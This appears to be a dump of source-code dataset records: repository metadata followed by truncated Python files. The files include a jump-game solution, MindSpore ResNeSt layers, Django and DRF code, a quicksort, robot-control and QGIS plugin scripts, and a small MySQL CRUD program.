bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution: # @param {integer[]} nums # @return {boolean} def canJump(self, nums): tmp = [False] * len(nums) tmp[-1] = True nearestrue = len(nums) - 1 for i in range(len(nums) - 2, -1, -1): if nearestrue <= min(i + nums[i], len(nums) - 1): tmp[...
29.461538
61
0.469974
977564fc2a2764bb0f7d4137b3d400c17f9aa0b7
281,164
py
Python
research/cvtmodel/resnest/src/resnest269.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cvtmodel/resnest/src/resnest269.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cvtmodel/resnest/src/resnest269.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
import mindspore.ops as P from mindspore import nn class Module5(nn.Cell): def __init__(self, conv2d_0_in_channels, conv2d_0_out_channels, conv2d_0_kernel_size, conv2d_0_padding, conv2d_0_pad_mode, conv2d_0_group): super(Module5, self).__init__() self.conv2d_0 = nn.Conv2d(in_chann...
61.229094
119
0.523908
8ad82cf02ded023e6a25dcdc7fe2f9b69045996e
2,841
py
Python
built-in/PyTorch/Official/cv/semantic_segmentation/DeepLabv3+_ID1695_for_PyTorch/utils/dropout.py
Ascend/modelzoo
f018cfed33dbb1cc2110b9ea2e233333f71cc509
[ "Apache-2.0" ]
12
2020-12-13T08:34:24.000Z
2022-03-20T15:17:17.000Z
built-in/PyTorch/Official/cv/semantic_segmentation/DeepLabv3+_ID1695_for_PyTorch/utils/dropout.py
Ascend/modelzoo
f018cfed33dbb1cc2110b9ea2e233333f71cc509
[ "Apache-2.0" ]
1
2022-01-20T03:11:05.000Z
2022-01-20T06:53:39.000Z
src/torch/contrib/npu/optimized_lib/module/dropout.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
2
2021-07-10T12:40:46.000Z
2021-12-17T07:55:15.000Z
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
28.989796
118
0.621612
c1e052e9b38ff7194dbe1d9e7a4c8be3d72eecbf
1,033
py
Python
order/migrations/0003_auto_20201106_1501.py
hhdMrLion/Product-System
e870225ab10c32688a87426d5943d922c47c4404
[ "MIT" ]
1
2021-06-18T03:03:42.000Z
2021-06-18T03:03:42.000Z
order/migrations/0003_auto_20201106_1501.py
hhdMrLion/Product-System
e870225ab10c32688a87426d5943d922c47c4404
[ "MIT" ]
null
null
null
order/migrations/0003_auto_20201106_1501.py
hhdMrLion/Product-System
e870225ab10c32688a87426d5943d922c47c4404
[ "MIT" ]
null
null
null
# Generated by Django 2.2.16 on 2020-11-06 07:01 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('order', '0002_order_is_deliver'), ] operations = [ migrations.AddField( model_name='order', name='rem...
30.382353
98
0.563408
a9ccba59c48de992deaffc8bd1a1997baa32250f
5,902
py
Python
src/main/apps/mlops/serializers.py
Nouvellie/django-tflite
1d08fdc8a2ec58886d7d2b8d40e7b3598613caca
[ "MIT" ]
2
2021-08-23T21:56:07.000Z
2022-01-20T13:52:19.000Z
src/main/apps/mlops/serializers.py
Nouvellie/django-tflite
1d08fdc8a2ec58886d7d2b8d40e7b3598613caca
[ "MIT" ]
null
null
null
src/main/apps/mlops/serializers.py
Nouvellie/django-tflite
1d08fdc8a2ec58886d7d2b8d40e7b3598613caca
[ "MIT" ]
null
null
null
from main.exceptions import CustomError from rest_framework import serializers from rest_framework.exceptions import ( UnsupportedMediaType, ValidationError, ErrorDetail ) from typing import ( Generic, TypeVar, ) API_INPUTS = TypeVar('API_INPUTS') # HELP TEXT. FASHION_MNIST_HELP_TEXT = f"Please ent...
39.086093
300
0.61962
a9ce7ee13be1c7ec5508ae02351578f656e9a2f2
544
py
Python
Quicksort.py
dapan2017/Sort-Algorithm
c99235b51383fbedf14cc4ae14be3058defb2c64
[ "Apache-2.0" ]
null
null
null
Quicksort.py
dapan2017/Sort-Algorithm
c99235b51383fbedf14cc4ae14be3058defb2c64
[ "Apache-2.0" ]
null
null
null
Quicksort.py
dapan2017/Sort-Algorithm
c99235b51383fbedf14cc4ae14be3058defb2c64
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Fri Aug 31 09:50:59 2018 @author: fengxue """ def Quicksort(arr): if len(arr)<2:return arr else: left=[] right=[] temp=[] temps=arr[0] l=len(arr) for i in range(l): if arr[i]<temps:left.append(arr[...
25.904762
63
0.522059
e7179d2075b23bf9303dbb267093d52c97fbdee7
11,863
py
Python
MA/Robot_V002l.py
mirrorcoloured/slcypi
c47975b3523f770d12a521c82e2dfca181e3f35b
[ "MIT" ]
null
null
null
MA/Robot_V002l.py
mirrorcoloured/slcypi
c47975b3523f770d12a521c82e2dfca181e3f35b
[ "MIT" ]
null
null
null
MA/Robot_V002l.py
mirrorcoloured/slcypi
c47975b3523f770d12a521c82e2dfca181e3f35b
[ "MIT" ]
null
null
null
# Import statements import sys sys.path.append("/home/pi/Documents/Robots/slcypi/MA") ### ADD PATH sys.path.append("/home/pi/Documents/Robots/slcypi/HAT_Python3") ### ADD PATH import cv2 import numpy as np import matplotlib.pyplot as plt from Tank import Tank from ImageAnalysis import ImageAnalysis import picamera impo...
49.429167
111
0.331872
6b54b672666be624a4e095bbeffc91b2cb28f75e
12,987
py
Python
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOexpression.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
3
2019-06-18T15:28:09.000Z
2019-07-11T07:31:45.000Z
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOexpression.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
2
2019-07-11T14:03:25.000Z
2021-02-08T16:14:04.000Z
GZP_GTO_QGIS/INSTALLATION/GeoTaskOrganizer/mActionGTOexpression.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
1
2019-06-12T11:07:37.000Z
2019-06-12T11:07:37.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- import os from qgis.core import QgsProject, QgsExpressionContext, QgsExpressionContextScope, QgsExpression, \ QgsExpressionContextUtils, QgsVectorLayer from qgis.gui import QgsQueryBuilder from PyQt5.QtCore import Qt, pyqtSignal from PyQt5.QtGui import QCloseEvent, QFocusE...
41.758842
120
0.544083
cf55c7cd1570fa579b7641f49d599a28352d5da1
454
py
Python
Chapter3_Libraries/MyModule.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
2
2021-02-13T19:18:00.000Z
2021-11-10T09:54:49.000Z
Chapter3_Libraries/MyModule.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
null
null
null
Chapter3_Libraries/MyModule.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
null
null
null
def list_max(input_list): max_value = input_list[0] for i in range(1, len(input_list)): if input_list[i] > max_value: max_value = input_list[i] print(max_value) def list_min(input_list): max_value = input_list[0] for i in range(1, len(input_list)): if input_list[i] <...
19.73913
39
0.625551
d8a1c706181a0b1a76d78215086e0e6125ebfd09
1,537
py
Python
tools/legacy/mw2-wtb-converter/readWtb.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
2
2020-03-18T18:23:27.000Z
2020-08-02T15:59:16.000Z
tools/legacy/mw2-wtb-converter/readWtb.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
5
2019-07-07T16:47:47.000Z
2020-08-10T16:20:00.000Z
tools/legacy/mw2-wtb-converter/readWtb.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
1
2020-03-18T18:23:30.000Z
2020-03-18T18:23:30.000Z
from collections import namedtuple import struct def loadWTB(rawData): offset = 0 # Do not change polygon winding flipPolygons = False # Magic numbers eat away at my soul pointRecordFmt = "<4l" pointBaseOffset = 32 polyHeaderFmt = "<2H" shortPolyFmt = "<6H" longPolyFmt = "<9H" l...
33.413043
78
0.603774
cff6911397ad4f3edd21f5f89b0a73ab889eb46b
4,389
py
Python
envs/rpg/world.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
2
2021-01-07T01:10:49.000Z
2022-01-21T09:37:16.000Z
envs/rpg/world.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
envs/rpg/world.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
from enum import Enum import numpy as np from envs.rpg.entities.actor import Actor from envs.rpg.entities.treasure import Treasure from envs.rpg.entity import Entity class World: BLANK_SPACE_VALUE = 0 ACTOR_ALIVE_REWARD = 0 ACTOR_DEAD_REWARD = -1 TIMESTEP_EXPIRATION_REWARD = -1 class Status(Enum)...
31.57554
111
0.619959
5cb64a2ce17dcb452d996163462657446c337200
1,888
py
Python
src/onegov/town6/views/imagesets.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town6/views/imagesets.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town6/views/imagesets.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.core.security import Public, Private from onegov.org.views.imagesets import view_imagesets, select_images, \ handle_select_images, get_form_class, handle_new_imageset, \ handle_edit_imageset, view_imageset from onegov.town6 import TownApp from onegov.org.models import ImageSet, ImageSetCollection fr...
40.170213
73
0.757945
7aa1d3b21b3eb13dee74714874aae938e1fb1d3d
7,332
py
Python
official/cv/ADNet/eval.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
official/cv/ADNet/eval.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
official/cv/ADNet/eval.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
49.208054
119
0.71563
8fbd02e47ecd65316e2e7fc34bb338b36b81bc26
1,815
py
Python
FeatureEngineering/Fontinator.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
6
2017-04-12T14:05:19.000Z
2021-01-29T11:23:50.000Z
FeatureEngineering/Fontinator.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
FeatureEngineering/Fontinator.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
import cv2 import os import numpy as np import sys import math import pickle import classifier import extractGlyphes import extractFeatures # Load the classifier and labels cla = classifier.Classifier() cla.loadTrainedClassifier('./classie.pickle') with open('labels.pickle', 'rb') as file_handle: TRAIN_CHARS = pi...
27.923077
69
0.733333
a4809e9e3c8bb46fa4d17b6e62e9efc54c6181a7
195
py
Python
Online-Judges/DimikOJ/Python/09-square-root.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
3
2021-06-15T01:19:23.000Z
2022-03-16T18:23:53.000Z
Online-Judges/DimikOJ/Python/09-square-root.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
null
null
null
Online-Judges/DimikOJ/Python/09-square-root.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
null
null
null
import math for i in range(int(input())): n = int(input()) temp = math.sqrt(n) temp_int = int(temp) if temp_int*temp_int == n: print("YES") else: print("NO")
17.727273
30
0.533333
a4a4befa5982a8cc26349a1b2c1f0b082c1664cd
2,283
py
Python
research/cv/Auto-DeepLab/src/utils/utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/Auto-DeepLab/src/utils/utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/Auto-DeepLab/src/utils/utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
30.44
113
0.622427
24d21c8529ad11fce7cc1cc977fdb56fcf5aa334
423
py
Python
Decorators/Basic/dec_4.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
Decorators/Basic/dec_4.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
Decorators/Basic/dec_4.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
def star(func): def inner(*args, **kwargs): print("*" * 30) s = func(*args, **kwargs) print("*" * 30) return s return inner def at(func): def inner(*args, **kwargs): print("@" * 30) s = func(*args, **kwargs) print("@" * 30) return s return...
16.92
33
0.489362
701006f7d886b00ba25376e8cea30c6234f66937
763
py
Python
packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/external_writer/prebuilt_writers.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/external_writer/prebuilt_writers.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/external_writer/prebuilt_writers.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from watchmen_data_kernel.external_writer import CreateExternalWriterBuilder, register_external_writer_create from watchmen_model.system import ExternalWriterType def find_standard() -> CreateExternalWriterBuilder: from .standard_writer import register_standard_writer return register_standard_writer def register_...
36.333333
109
0.879423
562dfa21ecd9db44e8468251498b5907a42f4b70
21,517
py
Python
research/nlp/gpt2/src/utils/generation_utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/gpt2/src/utils/generation_utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/gpt2/src/utils/generation_utils.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
44.002045
118
0.58893
5665aa0ab3bb0dabe30bb78844e6f2d17a473ba8
1,006
py
Python
day25/main.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
day25/main.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
day25/main.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
import pandas import turtle screen = turtle.Screen() screen.title("U.S. States Game") image = "day25/blank_states_img.gif" screen.addshape(image) turtle.shape(image) states = pandas.read_csv("day25/50_states.csv") states_found = [] while len(states_found) < len(states.index): answer_state = screen.textinput(tit...
28.742857
135
0.704771
3b62ba1825033261400b87d2731291d86444a65e
566
py
Python
exercises/es/solution_03_09_02.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/es/solution_03_09_02.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/es/solution_03_09_02.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
from spacy.lang.es import Spanish from spacy.tokens import Token nlp = Spanish() # Define la función getter que toma un token y devuelve su texto al revés def get_reversed(token): return token.text[::-1] # Registra la extensión de propiedad del Token, "reversed", con # el getter get_reversed Token.set_extension...
28.3
73
0.756184
8df3ad5e9755964fd7970d4a6e65a2f3e91d7e86
22,979
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/origin_to_destination_wxgui-01.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/origin_to_destination_wxgui-01.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/demand/origin_to_destination_wxgui-01.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
40.455986
196
0.532921
eb6afaf26c8d2c4d2bf4bce129f09f70db2c9d92
1,801
py
Python
src/ztc/store.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
src/ztc/store.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
src/ztc/store.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
#!/usr/bin/env python # pylint: disable = R0201, W0702 """ ZTC Store class Used for storing temporary values & cache Copyright (c) 2010-2011 Vladimir Rusinov <vladimir@greenmice.info> Copyright (c) 2011 Wrike, Inc. [http://www.wrike.com] """ import os import time import cPickle as pickle class ZTCStore(object): ...
27.707692
78
0.546918
15eb489a8f34727325947dbcf96c4fbaaba4f653
37
py
Python
puppet/__init__.py
pchaos/wanggejiaoyi
60242d465bf10d4be46ee6eafc99557affc2a52e
[ "MIT" ]
15
2018-05-16T02:39:01.000Z
2021-05-22T13:12:55.000Z
puppet/__init__.py
pchaos/wanggejiaoyi
60242d465bf10d4be46ee6eafc99557affc2a52e
[ "MIT" ]
null
null
null
puppet/__init__.py
pchaos/wanggejiaoyi
60242d465bf10d4be46ee6eafc99557affc2a52e
[ "MIT" ]
9
2018-05-16T00:47:34.000Z
2021-11-26T05:39:48.000Z
from . import autologon, puppet_v4
12.333333
35
0.756757
4e107edfbf1f1c66b2071af09a2c8bdbc65fc17f
209
py
Python
lintcode/268-[DUP]-Find-the-Missing-Number/FindtheMissingNumber_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
lintcode/268-[DUP]-Find-the-Missing-Number/FindtheMissingNumber_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
lintcode/268-[DUP]-Find-the-Missing-Number/FindtheMissingNumber_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution: # @param nums: a list of integers # @return: an integer def findMissing(self, nums): # write your code here n = len(nums) return n * (n + 1) / 2 - sum(nums)
26.125
42
0.555024
d1c02d3d014edb62da7e5c2f701ebbc510f0a8f2
3,449
py
Python
plot_data.py
wikipeter-de/COVID-19-NRW
f576d91a2d0a489b9d9dcb2196b440ba6de81e85
[ "Apache-2.0" ]
null
null
null
plot_data.py
wikipeter-de/COVID-19-NRW
f576d91a2d0a489b9d9dcb2196b440ba6de81e85
[ "Apache-2.0" ]
null
null
null
plot_data.py
wikipeter-de/COVID-19-NRW
f576d91a2d0a489b9d9dcb2196b440ba6de81e85
[ "Apache-2.0" ]
null
null
null
import plotly.graph_objects as go # plots import pandas import os import locale locale.setlocale(locale.LC_ALL, 'de_DE') os.system("python plot_barchart.py") confirmed_df = pandas.read_csv("data/time_series/time_series_covid-19_nrw_confirmed.csv") recovered_df = pandas.read_csv("data/time_series/time_series_covid-1...
31.354545
133
0.645115
ee0364f33b6807b9520778f9bb2185fa89560de1
578
py
Python
1_DeepLearning-Basics/04_Math_behind_Networks/3-Aktivierungsfunktionen.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
1_DeepLearning-Basics/04_Math_behind_Networks/3-Aktivierungsfunktionen.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
1_DeepLearning-Basics/04_Math_behind_Networks/3-Aktivierungsfunktionen.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt import seaborn as sns def relu(x): if x > 0: return x else: return 0 def sigmoid(x): return (1 / (1 + np.exp(-x))) # y = ReLU(wx + b) # y = sigma(wx + b) # shift = -b/w # Verschiebung bei w > 1 w = 1 # Gewicht b = -4 # Bias # shift = 2 act = relu # si...
20.642857
47
0.600346
ee4102b5150aed6861c039ee16a1aabc6a2ab51d
1,896
py
Python
stanford1/py/merge_sort.py
zaqwes8811/cs-courses
aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2
[ "Apache-2.0" ]
null
null
null
stanford1/py/merge_sort.py
zaqwes8811/cs-courses
aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2
[ "Apache-2.0" ]
null
null
null
stanford1/py/merge_sort.py
zaqwes8811/cs-courses
aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2
[ "Apache-2.0" ]
null
null
null
#-*- coding: utf-8 -*- #BAD!!! def _one_recursive_step( list_pair, size_task, current_doubled_size_task): """ """ i = 0 j = 0 a_list = list_pair[:size_task] b_list = list_pair[size_task:] c_list = [] for k in range(current_doubled_size_task): #print 'i',i, ...
24.947368
64
0.586498
0176cbab39bde263676938ae481194f4f43d9ba4
4,317
py
Python
PythonCruds/CrudFilmes.py
iRnx/Crud-Filmes
001d95879a955b64b9f918d8ddc90593cea97821
[ "MIT" ]
null
null
null
PythonCruds/CrudFilmes.py
iRnx/Crud-Filmes
001d95879a955b64b9f918d8ddc90593cea97821
[ "MIT" ]
null
null
null
PythonCruds/CrudFilmes.py
iRnx/Crud-Filmes
001d95879a955b64b9f918d8ddc90593cea97821
[ "MIT" ]
null
null
null
import mysql.connector def conectar(): """ Função para conectar ao servidor """ try: conn = mysql.connector.connect( host='localhost', database='todos_filmes', user='root', password='root') return conn except mysql.conne...
29.168919
106
0.537874
6df7d9a3d35bfb12775cfe656a314e85ed8b4af2
168
py
Python
hostsystem/BMP280.py
DockerComposeFiles/ARM
b0faddb525ad134ff8c589c370d8e61ab030c216
[ "MIT" ]
null
null
null
hostsystem/BMP280.py
DockerComposeFiles/ARM
b0faddb525ad134ff8c589c370d8e61ab030c216
[ "MIT" ]
null
null
null
hostsystem/BMP280.py
DockerComposeFiles/ARM
b0faddb525ad134ff8c589c370d8e61ab030c216
[ "MIT" ]
null
null
null
#!/usr/bin/python import bme280 # Messdaten Holen temperatur, druck, x = bme280.readBME280All() print("Temperatur : ", temperatur, "C") print("Druck: ", druck, "hPa")
21
45
0.696429
feee95fa5b574f28bb0f61f9cf8da5bc6b319c50
2,567
py
Python
frappe-bench/apps/erpnext/erpnext/stock/doctype/delivery_trip/test_delivery_trip.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/stock/doctype/delivery_trip/test_delivery_trip.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/stock/doctype/delivery_trip/test_delivery_trip.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2017, Frappe Technologies Pvt. Ltd. and Contributors # See license.txt from __future__ import unicode_literals import frappe import erpnext import unittest from frappe.utils import nowdate, add_days from erpnext.tests.utils import create_test_contact_and_address from erpnext.sto...
33.776316
103
0.739384
288aa3f0c3cbf8759ba43bc316b024f698fb476c
639
py
Python
retro/cores/gba/src/platform/python/cinema/__init__.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
2,706
2018-04-05T18:28:50.000Z
2022-03-29T16:56:59.000Z
retro/cores/gba/src/platform/python/cinema/__init__.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
242
2018-04-05T22:30:42.000Z
2022-03-19T01:55:11.000Z
retro/cores/gba/src/platform/python/cinema/__init__.py
MatPoliquin/retro
c70c174a9818d1e97bc36e61abb4694d28fc68e1
[ "MIT-0", "MIT" ]
464
2018-04-05T19:10:34.000Z
2022-03-28T13:33:32.000Z
from PIL.ImageChops import difference from PIL.ImageOps import autocontrast from PIL.Image import open as PIOpen class VideoFrame(object): def __init__(self, pilImage): self.image = pilImage.convert('RGB') @staticmethod def diff(a, b): diff = difference(a.image, b.image) diffNormal...
26.625
61
0.638498
95b95980b76e2276a8e9f654c987eb95e4c20a12
2,824
py
Python
src/onegov/wtfs/layouts/report.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/wtfs/layouts/report.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/wtfs/layouts/report.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from cached_property import cached_property from onegov.core.elements import Link from onegov.wtfs import _ from onegov.wtfs.layouts.default import DefaultLayout class ReportLayout(DefaultLayout): @cached_property def title(self): return _("Report") @cached_property def breadcrumbs(self): ...
25.214286
68
0.599504
95ccadd7292b4923db75bb98393a0a3e3e09aaa9
619
py
Python
demos/Multiscale/amm_mechanism/model/config.py
w-ghub/demos
6382676fae89bd5a190626612712fcedf17bca6d
[ "MIT" ]
56
2020-07-08T23:23:15.000Z
2022-03-11T20:43:09.000Z
demos/Multiscale/amm_mechanism/model/config.py
w-ghub/demos
6382676fae89bd5a190626612712fcedf17bca6d
[ "MIT" ]
41
2020-07-11T23:24:06.000Z
2022-01-28T13:28:07.000Z
